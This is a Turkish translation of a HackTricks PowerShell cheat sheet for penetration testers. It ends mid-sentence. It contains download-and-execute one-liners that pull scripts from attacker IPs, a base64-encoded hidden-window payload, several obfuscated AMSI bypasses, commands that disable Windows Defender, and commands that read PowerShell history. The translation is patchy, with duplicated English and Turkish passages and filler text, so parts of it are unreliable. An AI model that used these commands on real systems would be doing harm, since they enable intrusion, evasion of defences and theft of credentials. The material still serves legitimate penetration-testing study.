.. | ||
powerview.md | ||
README.md |
Temel PowerShell Pentesterlar İçin
AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Varsayılan PowerShell Konumları
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Başlamak için Temel PS Komutları
Bu bölümde, PowerShell (PS) komutlarının temel bir listesini bulacaksınız. Bu komutlar, bir pentester olarak PS'i etkili bir şekilde kullanmanıza yardımcı olacak.
Dosya ve Dizin İşlemleri
- Get-ChildItem: Belirli bir dizindeki dosya ve klasörleri listeler.
- Set-Location: Çalışma dizinini değiştirir.
- Copy-Item: Dosya veya klasörleri kopyalar.
- Move-Item: Dosya veya klasörleri taşır.
- Remove-Item: Dosya veya klasörleri siler.
Dosya İçeriği İşlemleri
- Get-Content: Bir dosyanın içeriğini görüntüler.
- Set-Content: Bir dosyanın içeriğini değiştirir.
- Add-Content: Bir dosyanın sonuna içerik ekler.
Süreç İşlemleri
- Get-Process: Çalışan süreçleri listeler.
- Stop-Process: Bir süreci sonlandırır.
Hizmet İşlemleri
- Get-Service: Çalışan hizmetleri listeler.
- Start-Service: Bir hizmeti başlatır.
- Stop-Service: Bir hizmeti durdurur.
Sistem Bilgisi İşlemleri
- Get-ComputerInfo: Sistem hakkında bilgi alır.
- Get-WmiObject: WMI nesnelerini alır.
Kullanıcı İşlemleri
- Get-LocalUser: Yerel kullanıcı hesaplarını listeler.
- New-LocalUser: Yeni bir yerel kullanıcı hesabı oluşturur.
- Remove-LocalUser: Bir yerel kullanıcı hesabını siler.
Ağ İşlemleri
- Test-Connection: Bir IP adresine veya alan adına ping atar.
- Test-NetConnection: Bir IP adresine veya port numarasına bağlantı testi yapar.
Bu komutlar, PS'i kullanarak temel dosya, dizin, süreç, hizmet, sistem bilgisi, kullanıcı ve ağ işlemlerini gerçekleştirmenize yardımcı olacaktır.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
İndir ve Çalıştır
Bu teknik, hedef sisteme bir dosya indirip çalıştırmak için PowerShell'i kullanır. PowerShell, Windows işletim sisteminde bulunan bir komut satırı aracıdır ve bu teknik, hedef sisteme zararlı bir dosya indirip çalıştırarak saldırganın hedef sisteme erişim sağlamasını sağlar.
Komutlar
Aşağıdaki PowerShell komutları, hedef sisteme bir dosya indirip çalıştırmak için kullanılabilir:
$Url = "http://example.com/malicious-file.exe"
$Output = "C:\path\to\output\file.exe"
Invoke-WebRequest -Uri $Url -OutFile $Output
Start-Process -FilePath $Output
Açıklama
-
İlk olarak,
$Url
değişkenine indirilecek dosyanın URL'si atanır. Bu URL, saldırganın kontrol ettiği bir sunucuda bulunan zararlı bir dosyayı işaret etmelidir. -
$Output
değişkenine, indirilen dosyanın kaydedileceği konum atanır. Bu konum, hedef sistemin dosya sisteminde mevcut olmalıdır. -
Invoke-WebRequest
komutu kullanılarak, belirtilen URL'den dosya indirilir ve$Output
değişkenine kaydedilir. -
Start-Process
komutu kullanılarak, indirilen dosya çalıştırılır. Bu, saldırganın hedef sisteme erişim sağlamasını sağlar.
Örnek
Aşağıdaki örnek, http://example.com/malicious-file.exe
URL'sinden bir dosya indirip çalıştırmak için PowerShell komutlarını kullanır:
$Url = "http://example.com/malicious-file.exe"
$Output = "C:\path\to\output\file.exe"
Invoke-WebRequest -Uri $Url -OutFile $Output
Start-Process -FilePath $Output
Bu komutlar, http://example.com/malicious-file.exe
URL'sinden dosyayı indirir ve C:\path\to\output\file.exe
konumuna kaydeder. Ardından, indirilen dosyayı çalıştırır.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
AMSI Bypass ile Arka Planda İndirme ve Çalıştırma
Bu yöntem, AMSI (Antimalware Scan Interface) tarafından algılanmayacak şekilde arka planda bir dosyanın indirilmesini ve çalıştırılmasını sağlar. AMSI, kötü amaçlı yazılımları tespit etmek için kullanılan bir arayüzdür. Bu yöntem, AMSI tarafından tespit edilme riskini en aza indirir.
$URL = "http://example.com/file.exe"
$Output = "$env:temp\file.exe"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
$Bytes = [System.IO.File]::ReadAllBytes($Output)
$EncodedCommand = [Convert]::ToBase64String($Bytes)
$EncodedCommand | powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand -
Bu kod parçası, belirtilen URL'den bir dosyayı indirir ve ardından bu dosyayı arka planda çalıştırır. İndirilen dosya, geçici bir konuma kaydedilir ve daha sonra Base64 kodlaması kullanılarak PowerShell komutuna dönüştürülür. Bu sayede, AMSI tarafından tespit edilme riski en aza indirilir.
Not: Bu yöntem, yalnızca yasal ve etik sınırlar içinde kullanılmalıdır.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Linux'ta b64 Kullanımı
Bu bölümde, Linux işletim sisteminde b64 komutunun nasıl kullanılacağını öğreneceksiniz. b64 komutu, metinleri Base64 formatına dönüştürmek veya Base64 formatındaki metinleri orijinal metinlere dönüştürmek için kullanılır.
Metni Base64 Formatına Dönüştürme
Bir metni Base64 formatına dönüştürmek için aşağıdaki komutu kullanabilirsiniz:
echo -n "metin" | base64
Yukarıdaki komutu kullanarak "metin" kelimesini Base64 formatına dönüştürebilirsiniz. "-n" bayrağı, yeni satır karakteri eklememek için kullanılır.
Base64 Formatındaki Metni Orijinal Metne Dönüştürme
Base64 formatındaki bir metni orijinal metne dönüştürmek için aşağıdaki komutu kullanabilirsiniz:
echo -n "b64_formatindaki_metin" | base64 -d
Yukarıdaki komutu kullanarak "b64_formatindaki_metin" kelimesini orijinal metne dönüştürebilirsiniz. "-d" bayrağı, metni Base64 formatından çıkarmak için kullanılır.
Bu komutları kullanarak Linux işletim sisteminde b64 komutunu başarıyla kullanabilirsiniz.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
İndirme
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
cmdleti, PowerShell'da bir web isteği göndermek için kullanılan bir araçtır. Bu cmdlet, belirtilen bir URL'ye HTTP veya HTTPS protokolü kullanarak istek gönderir ve yanıtı alır. İstek göndermek için kullanılan parametreler arasında URL, HTTP yöntemi, başlık, oturum açma bilgileri ve isteğe bağlı olarak veri gönderme gibi bilgiler bulunur.
Örnek kullanım:
Invoke-WebRequest -Uri "https://www.example.com" -Method GET
Bu örnekte, Invoke-WebRequest
cmdleti, "https://www.example.com" adresine GET yöntemiyle bir istek gönderir ve yanıtı alır.
Bu cmdlet, bir web sayfasının içeriğini almak, dosyaları indirmek, form verilerini göndermek ve diğer birçok web tabanlı işlemi gerçekleştirmek için kullanılabilir.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.
To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples:
- Download a file:
wget <URL>
- Download a file and save it with a different name:
wget -O <output_file> <URL>
- Download a file and continue an interrupted download:
wget -c <URL>
- Download a file and limit the download speed:
wget --limit-rate=<rate> <URL>
- Download an entire website:
wget --mirror <URL>
- Download files from a list of URLs:
wget -i <file_with_urls>
Wget is a powerful tool for downloading files and automating repetitive tasks. It can be particularly useful for penetration testers and security professionals who need to gather information from the web during their assessments.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer, Windows işletim sisteminde dosya indirme ve yükleme işlemlerini yönetmek için kullanılan bir PowerShell modülüdür. Bu modül, arka planda çalışan bir hizmet olan Background Intelligent Transfer Service (BITS) ile entegre olarak çalışır.
BITS, ağ bağlantısı kesildiğinde veya bilgisayar yeniden başlatıldığında bile dosya transferini sürdürebilen bir mekanizma sağlar. Bu nedenle, büyük dosyaları indirirken veya yüklerken kullanışlıdır.
BitsTransfer modülü, PowerShell komutları aracılığıyla dosya indirme ve yükleme işlemlerini gerçekleştirmek için kullanılır. Aşağıda, bu modülün bazı temel komutları verilmiştir:
Start-BitsTransfer
: Belirtilen bir URL'den dosya indirmek için kullanılır.Complete-BitsTransfer
: İndirme veya yükleme işlemini tamamlamak için kullanılır.Get-BitsTransfer
: Mevcut indirme veya yükleme işlemlerini listelemek için kullanılır.Remove-BitsTransfer
: Tamamlanan veya iptal edilen indirme veya yükleme işlemlerini kaldırmak için kullanılır.
Bu komutlar, dosya transferi işlemlerini yönetmek için kullanışlıdır ve bir pentester olarak hedef sistemlere dosya indirme veya yükleme işlemleri gerçekleştirmek için kullanılabilir.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
Bu bölümde, PowerShell komutlarını Base64 ile kodlamak için kullanılan teknikleri öğreneceksiniz. Bu teknikler, Kali Linux üzerinde çalışırken PowerShell komutlarını gizlemek ve algılanmamak için kullanılabilir.
Base64 ile Kodlama
PowerShell komutlarını Base64 ile kodlamak için aşağıdaki adımları izleyin:
-
PowerShell komutunu Base64 ile kodlayın:
echo "powershell komutu" | base64
-
Elde edilen Base64 kodunu PowerShell komutu olarak çalıştırın:
powershell -enc "Base64 kodu"
EncodedCommand ile Kodlama
EncodedCommand, PowerShell komutlarını URL güvenli Base64 ile kodlamak için kullanılan bir parametredir. Bu parametre, PowerShell komutunu bir URL'de kullanılabilir hale getirir.
PowerShell komutunu EncodedCommand ile kodlamak için aşağıdaki adımları izleyin:
-
PowerShell komutunu URL güvenli Base64 ile kodlayın:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("powershell komutu"))
-
Elde edilen EncodedCommand'i PowerShell komutu olarak çalıştırın:
powershell.exe -EncodedCommand "EncodedCommand"
Bu teknikleri kullanarak PowerShell komutlarını gizleyebilir ve algılanmamak için kullanabilirsiniz.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Yürütme Politikası
Kısıtlı Dil
AppLocker Politikası
WinRM'yi Etkinleştir (Uzaktan PS)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Defender'i Devre Dışı Bırakma
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
AMSI atlatma
amsi.dll
, herhangi bir uygulamanın etkileşimde bulunabilmesi için gerekli olan ihracatlara sahip ve işlem alanınızda yüklenir. Ve çünkü bir işlem alanına yüklendiği için kontrol ettiğiniz bir işlem alanında bellekteki talimatları üzerine yazarak davranışını değiştirebilirsiniz. Böylece hiçbir şeyi tespit etmez hale getirebilirsiniz.
Bu nedenle, AMSI atlatmalarının amacı, tespiti işe yaramaz hale getirmek için bellekteki DLL'nin talimatlarını üzerine yazmaktır.
AMSI atlatma oluşturucusu web sayfası: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Atlatma 2 - Yönetilen API Çağrısı Kancalama
Detaylı bilgi ve kod için bu yazıya bakın. Giriş:
Bu yeni teknik, .NET yöntemlerinin API çağrılarının kancalanmasına dayanmaktadır. .NET yöntemleri, bellekte yerel makine talimatlarına derlenmek zorunda olduğundan, yerel yöntemlere çok benzeyen görüntüler oluştururlar. Bu derlenmiş yöntemler, bir programın kontrol akışını değiştirmek için kancalanabilir.
.NET yöntemlerinin API çağrılarını kancalamak için şu adımlar izlenir:
- Kancalanacak hedef yöntemi belirleme
- Hedefle aynı işlev prototipi olan bir yöntem tanımlama
- Yöntemleri bulmak için yansımayı kullanma
- Her yöntemin derlenmiş olduğundan emin olma
- Her yöntemin bellekteki konumunu bulma
- Hedef yöntemi, kötü niyetli yöntemimize işaret eden talimatlarla üzerine yazma
AMSI Atlatma 3 - SeDebug Yetkisi
Yeterli ayrıcalıklara sahip olduğunuzda, işlemleri hata ayıklamak için kullanarak powershell.exe işlemi oluşturabilir, hata ayıklayabilir, amsi.dll
yüklendiğinde izleyebilir ve devre dışı bırakabilirsiniz. Bu kılavuzu ve kodu takip ederek bunu yapabilirsiniz.
AMSI Atlatma - Daha Fazla Kaynak
PS-Geçmişi
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Daha yeni dosyaları bul
Seçenekler: CreationTime
, CreationTimeUtc
, LastAccessTime
, LastAccessTimeUtc
, LastWriteTime
, LastWriteTimeUtc
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
İzinleri Al
To get the permissions of a file or directory in Windows, you can use the Get-Acl
cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl -Path C:\path\to\file_or_directory
Replace C:\path\to\file_or_directory
with the actual path to the file or directory you want to get the permissions for.
This command will display the permissions in a readable format, including the user or group, access type (e.g., FullControl, Read, Write), and whether it is inherited or not.
You can also export the permissions to a CSV file for further analysis:
Get-Acl -Path C:\path\to\file_or_directory | Export-Csv -Path C:\path\to\output.csv
Again, replace C:\path\to\file_or_directory
with the actual path to the file or directory, and C:\path\to\output.csv
with the desired output file path.
By using these commands, you can easily retrieve and analyze the permissions of files and directories in Windows.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
İşletim Sistemi Sürümü ve Güncellemeler
Bu bölümde, hedef sistemdeki işletim sistemi sürümünü ve yüklü olan güncellemeleri nasıl kontrol edeceğimizi öğreneceğiz.
PowerShell Komutları
# İşletim sistemi sürümünü al
(Get-WmiObject -Class Win32_OperatingSystem).Caption
# Yüklü güncellemeleri al
Get-HotFix
Açıklama
- İlk komut, hedef sistemdeki işletim sistemi sürümünü alır.
- İkinci komut, hedef sistemde yüklü olan güncellemelerin bir listesini sunar.
Örnekler
# İşletim sistemi sürümünü al
(Get-WmiObject -Class Win32_OperatingSystem).Caption
Microsoft Windows 10 Pro
# Yüklü güncellemeleri al
Get-HotFix
Source Description HotFixID InstalledBy InstalledOn
------ ----------- -------- ----------- -----------
... ... ... ... ...
Notlar
- İşletim sistemi sürümünü almak için yönetici ayrıcalıklarına sahip olmanız gerekmektedir.
- Yüklü güncellemeleri almak için yönetici ayrıcalıklarına sahip olmanız gerekmektedir.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Ortam
The following content assumes that you have a basic understanding of PowerShell and its usage in a Windows environment. If you are new to PowerShell, it is recommended to familiarize yourself with the basics before proceeding with this guide.
Aşağıdaki içerik, PowerShell ve Windows ortamında kullanımı hakkında temel bir anlayışa sahip olduğunuzu varsayar. PowerShell konusunda yeniyseniz, bu kılavuza devam etmeden önce temelleri öğrenmeniz önerilir.
Introduction
Giriş
PowerShell is a powerful scripting language and automation framework that is built on top of the .NET framework. It provides a command-line shell and a scripting language that can be used to perform various administrative tasks and automate repetitive tasks in a Windows environment.
PowerShell, .NET framework üzerine inşa edilmiş güçlü bir komut dosyası dili ve otomasyon çerçevesidir. Windows ortamında çeşitli yönetimsel görevleri gerçekleştirmek ve tekrarlayan görevleri otomatikleştirmek için kullanılan bir komut satırı kabuğu ve bir komut dosyası dili sağlar.
Basic PowerShell Commands
Temel PowerShell Komutları
Get-Help
Get-Help
The Get-Help
command is used to display help information about PowerShell cmdlets, functions, and scripts. It provides detailed information about the usage, parameters, and examples of a specific command.
Get-Help
komutu, PowerShell cmdlet'leri, işlevleri ve komut dosyaları hakkında yardım bilgilerini görüntülemek için kullanılır. Belirli bir komutun kullanımı, parametreleri ve örnekleri hakkında detaylı bilgi sağlar.
Get-Help <command>
Get-Help <komut>
Get-Command
Get-Command
The Get-Command
command is used to retrieve a list of all available cmdlets and functions in PowerShell. It can be used to search for specific commands or to get a list of all available commands.
Get-Command
komutu, PowerShell'deki tüm kullanılabilir cmdlet'lerin ve işlevlerin bir listesini almak için kullanılır. Belirli komutları aramak veya tüm kullanılabilir komutların bir listesini almak için kullanılabilir.
Get-Command
Get-Command
Get-Member
Get-Member
The Get-Member
command is used to retrieve the properties and methods of an object in PowerShell. It can be used to explore the structure and capabilities of different objects.
Get-Member
komutu, PowerShell'deki bir nesnenin özelliklerini ve yöntemlerini almak için kullanılır. Farklı nesnelerin yapısını ve yeteneklerini keşfetmek için kullanılabilir.
<command> | Get-Member
<komut> | Get-Member
Select-Object
Select-Object
The Select-Object
command is used to select specific properties of an object in PowerShell. It can be used to filter and format the output of a command.
Select-Object
komutu, PowerShell'deki bir nesnenin belirli özelliklerini seçmek için kullanılır. Bir komutun çıktısını filtrelemek ve biçimlendirmek için kullanılabilir.
<command> | Select-Object <property1>, <property2>, ...
<komut> | Select-Object <özellik1>, <özellik2>, ...
Get-Process
Get-Process
The Get-Process
command is used to retrieve information about running processes in PowerShell. It can be used to get a list of all running processes or to filter processes based on specific criteria.
Get-Process
komutu, PowerShell'de çalışan işlemler hakkında bilgi almak için kullanılır. Tüm çalışan işlemlerin bir listesini almak veya belirli kriterlere göre işlemleri filtrelemek için kullanılabilir.
Get-Process
Get-Process
Stop-Process
Stop-Process
The Stop-Process
command is used to stop a running process in PowerShell. It can be used to terminate a process based on its name or process ID.
Stop-Process
komutu, PowerShell'de çalışan bir işlemi durdurmak için kullanılır. İşlemin adına veya işlem kimliğine göre bir işlemi sonlandırmak için kullanılabilir.
Stop-Process -Name <processName>
Stop-Process -Name <işlemAdı>
Conclusion
Sonuç
These are just a few basic PowerShell commands that can be useful for pentesters and system administrators. PowerShell is a powerful tool that can be used for various purposes, including automation, administration, and exploitation. It is important to familiarize yourself with the different cmdlets and their usage to effectively leverage the power of PowerShell in your work.
Bunlar, pentester'lar ve sistem yöneticileri için faydalı olabilecek birkaç temel PowerShell komutudur. PowerShell, otomasyon, yönetim ve sömürü dahil olmak üzere çeşitli amaçlar için kullanılabilen güçlü bir araçtır. PowerShell'ın gücünden etkili bir şekilde yararlanmak için farklı cmdlet'leri ve kullanımlarını tanımak önemlidir.
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Diğer bağlı sürücüler
Sometimes, during a penetration test, you may need to gather information about other connected drives on a Windows system. This can be useful for identifying additional storage devices or exploring potential attack vectors.
Bazen bir penetrasyon testi sırasında, Windows sistemdeki diğer bağlı sürücüler hakkında bilgi toplamanız gerekebilir. Bu, ek depolama cihazlarını tanımlamak veya potansiyel saldırı vektörlerini keşfetmek için faydalı olabilir.
To retrieve information about other connected drives, you can use the Get-PSDrive
cmdlet in PowerShell. This cmdlet allows you to list all the drives available on the system, including local drives, network drives, and mapped drives.
Diğer bağlı sürücüler hakkında bilgi almak için, PowerShell'de Get-PSDrive
komutunu kullanabilirsiniz. Bu komut, yerel sürücüler, ağ sürücüleri ve eşlenmiş sürücüler de dahil olmak üzere sistemdeki tüm sürücüleri listelemenizi sağlar.
Here is an example command that retrieves information about all connected drives:
Aşağıda, tüm bağlı sürücüler hakkında bilgi almak için bir örnek komut bulunmaktadır:
Get-PSDrive
This command will display details such as the drive name, provider (filesystem type), root, and description for each connected drive.
Bu komut, her bir bağlı sürücü için sürücü adı, sağlayıcı (dosya sistemi türü), kök ve açıklama gibi ayrıntıları görüntüler.
Keep in mind that some drives may require administrative privileges to access their information. In such cases, you may need to run PowerShell with elevated privileges.
Bazı sürücülerin bilgilerine erişmek için yönetici ayrıcalıklarına ihtiyaç duyabileceğinizi unutmayın. Bu tür durumlarda, PowerShell'ı yükseltilmiş ayrıcalıklarla çalıştırmanız gerekebilir.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Geri Dönüşüm Kutusu
The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net in case the user accidentally deletes something and wants to restore it.
The Recycle Bin can be accessed by double-clicking on its icon on the desktop or by opening the File Explorer and navigating to the Recycle Bin folder. Inside the Recycle Bin, deleted files and folders are displayed with their original names and can be sorted by various attributes such as date deleted, size, or file type.
To restore a deleted file or folder from the Recycle Bin, simply right-click on it and select the "Restore" option. The file or folder will be moved back to its original location on the system.
If a user wants to permanently delete a file or folder from the Recycle Bin, they can right-click on it and select the "Delete" option. This will bypass the Recycle Bin and permanently delete the file or folder from the system.
It is important to note that the Recycle Bin has a maximum storage capacity, and once it reaches its limit, older deleted files will be automatically removed to make space for new ones. Therefore, it is recommended to regularly empty the Recycle Bin to free up storage space on the system.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/powershell-ile-geri-donusum-kutusunu-yonetmek/
Alan İncelemesi
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Kullanıcılar
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Şifreli Dizgiden Düz Metne
To convert a secure string to plaintext in PowerShell, you can use the ConvertFrom-SecureString
